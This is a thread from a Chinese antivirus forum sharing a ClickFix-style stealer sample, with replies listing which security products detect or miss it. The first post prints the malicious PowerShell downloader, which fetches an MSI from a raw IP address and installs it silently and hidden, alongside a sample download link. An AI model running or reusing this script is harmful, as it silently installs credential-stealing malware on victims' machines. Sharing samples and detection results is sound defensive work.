#ClickFix #Stealer 1x

显示全部楼层 · 发表于 2026-6-26 18:52:37

本帖最后由 Loyisa 于 2026-6-26 18:52 编辑

https://loyisa.lanzoum.com/is3YD3t2zeyd
https://www.virustotal.com/gui/f ... e07804401?nocache=1

相关域名:

https://kookapp.life/

复制代码

恶意脚本:

$ErrorActionPreference = "Stop"
$url = "http://93[.]152.224[.]13:6600/5sxu2qr5/AKLVBOSV.msi"
$workDir = "C:\ProgramData\Zooms"
$fileName = [System.IO.Path]::GetFileName($url)
$filePath = Join-Path $workDir $fileName
New-Item -ItemType Directory -Path $workDir -Force | Out-Null
Add-Type -AssemblyName System.Net.Http
$client = New-Object System.Net.Http.HttpClient
$client.Timeout = [TimeSpan]::FromMinutes(30)
$response = $client.GetAsync($url).Result
$response.EnsureSuccessStatusCode()
$bytes = $response.Content.ReadAsByteArrayAsync().Result
[System.IO.File]::WriteAllBytes($filePath, $bytes)
$client.Dispose()
if ($filePath -like "*.msi") {
Start-Process "msiexec.exe" -ArgumentList "/i `"$filePath`" /qn /norestart" -Wait -WindowStyle Hidden
} else {
Start-Process -FilePath $filePath -WindowStyle Hidden
}

复制代码

显示全部楼层 · 发表于 2026-6-26 18:57:58

本帖最后由 123456aaaafsdeg 于 2026-6-26 19:02 编辑

卡巴斯基

https://opentip.kaspersky.com/AB ... EA388601DAE07804401

显示全部楼层 · 发表于 2026-6-26 19:13:15

红伞扫描miss

显示全部楼层 · 发表于 2026-6-26 19:40:58

本帖最后由吃瓜群众第123位于 2026-6-26 20:07 编辑

趋势科技云端版 miss已上报趋势科技参考案件编号：TM-5001352-V4P3V5

虚拟机Apex One 双击 miss

显示全部楼层 · 发表于 2026-6-26 19:54:32

ESSP 0x

显示全部楼层 · 发表于 2026-6-26 20:00:20

本帖最后由 fdsax 于 2026-6-26 20:21 编辑

ZoneAlarm best miss

显示全部楼层 · 发表于 2026-6-26 20:06:05

McAfee miss

显示全部楼层 · 发表于 2026-6-26 20:10:18

360扫描不报

显示全部楼层 · 发表于 2026-6-26 20:34:57

本帖最后由 Myrenaser 于 2026-7-1 08:27 编辑

EES 自动ELG返回客户端清除，但迟迟等不到面板报告生成，这个样本在其他客户端入ELG了？
我手动上传一遍吧，等不了了：Generik.KFXAZE trojan
AKLVBOSV.msi - ESET LiveGuard - 高级行为报告

显示全部楼层 · 发表于 2026-6-26 20:50:26

奇安信miss

[病毒样本] #ClickFix #Stealer 1x

评分

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源